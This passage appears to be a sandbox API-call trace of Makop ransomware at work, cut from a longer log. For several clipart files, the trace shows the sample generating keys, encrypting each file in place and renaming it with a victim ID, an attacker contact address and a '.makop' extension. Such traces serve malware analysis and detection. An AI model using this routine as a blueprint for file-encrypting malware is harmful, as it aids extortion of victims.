lpNumberOfBytesRead=0x6577ab4*=0x13c2, lpOverlapped=0x0) returned 1 [0147.924] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13d0) returned 1 [0147.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.924] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13d0, lpOverlapped=0x0) returned 1 [0147.924] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.925] SetEndOfFile (hFile=0xf0) returned 1 [0147.932] GetProcessHeap () returned 0x48a0000 [0147.932] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.932] GetProcessHeap () returned 0x48a0000 [0147.932] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.932] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.934] CloseHandle (hObject=0xf0) returned 1 [0147.934] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOW_01.MID", cAlternateFileName="")) returned 1 [0147.934] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0147.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.937] GetProcessHeap () returned 0x48a0000 [0147.937] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.937] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.942] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.942] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.942] GetProcessHeap () returned 0x48a0000 [0147.942] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.942] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.942] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.942] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.942] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.943] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.943] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.943] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.943] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.943] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.944] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x18f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x18f8, lpOverlapped=0x0) returned 1 [0147.945] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1900, dwBufLen=0x1900 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1900) returned 1 [0147.945] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.945] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1900, lpOverlapped=0x0) returned 1 [0147.945] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.945] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x19d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.946] SetEndOfFile (hFile=0xf0) returned 1 [0147.953] GetProcessHeap () returned 0x48a0000 [0147.953] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.953] GetProcessHeap () returned 0x48a0000 [0147.953] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.953] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0147.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.955] CloseHandle (hObject=0xf0) returned 1 [0147.956] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d79200, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7d79200, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x2a0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00256_.WMF", cAlternateFileName="")) returned 1 [0147.956] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 63 [0147.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.958] GetProcessHeap () returned 0x48a0000 [0147.958] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.958] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.958] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0147.962] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.962] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.962] GetProcessHeap () returned 0x48a0000 [0147.962] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.963] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.963] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.963] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.963] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.963] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.963] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.963] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.964] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.964] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.964] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a0a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a0a, lpOverlapped=0x0) returned 1 [0147.965] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a10, dwBufLen=0x2a10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a10) returned 1 [0147.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.966] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a10, lpOverlapped=0x0) returned 1 [0147.966] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.966] SetEndOfFile (hFile=0xf0) returned 1 [0147.974] GetProcessHeap () returned 0x48a0000 [0147.974] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.974] GetProcessHeap () returned 0x48a0000 [0147.974] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.974] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.976] CloseHandle (hObject=0xf0) returned 1 [0147.976] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4440b00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4440b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00260_.WMF", cAlternateFileName="")) returned 1 [0147.976] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF") returned 63 [0147.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.977] GetProcessHeap () returned 0x48a0000 [0147.977] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.977] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.977] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0147.985] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.985] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.985] GetProcessHeap () returned 0x48a0000 [0147.985] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.985] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.985] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.985] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.985] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.985] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.986] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.986] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.986] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.986] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ca4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ca4, lpOverlapped=0x0) returned 1 [0147.988] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7cb0, dwBufLen=0x7cb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7cb0) returned 1 [0147.989] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.989] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7cb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7cb0, lpOverlapped=0x0) returned 1 [0147.989] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.989] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.989] SetEndOfFile (hFile=0xf0) returned 1 [0147.997] GetProcessHeap () returned 0x48a0000 [0147.997] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.997] GetProcessHeap () returned 0x48a0000 [0147.997] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.997] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.997] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.998] CloseHandle (hObject=0xf0) returned 1 [0147.998] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e6bb00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e6bb00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00268_.WMF", cAlternateFileName="")) returned 1 [0147.999] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 63 [0147.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.000] GetProcessHeap () returned 0x48a0000 [0148.000] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.000] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.004] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.004] GetProcessHeap () returned 0x48a0000 [0148.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.005] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.005] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.006] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, 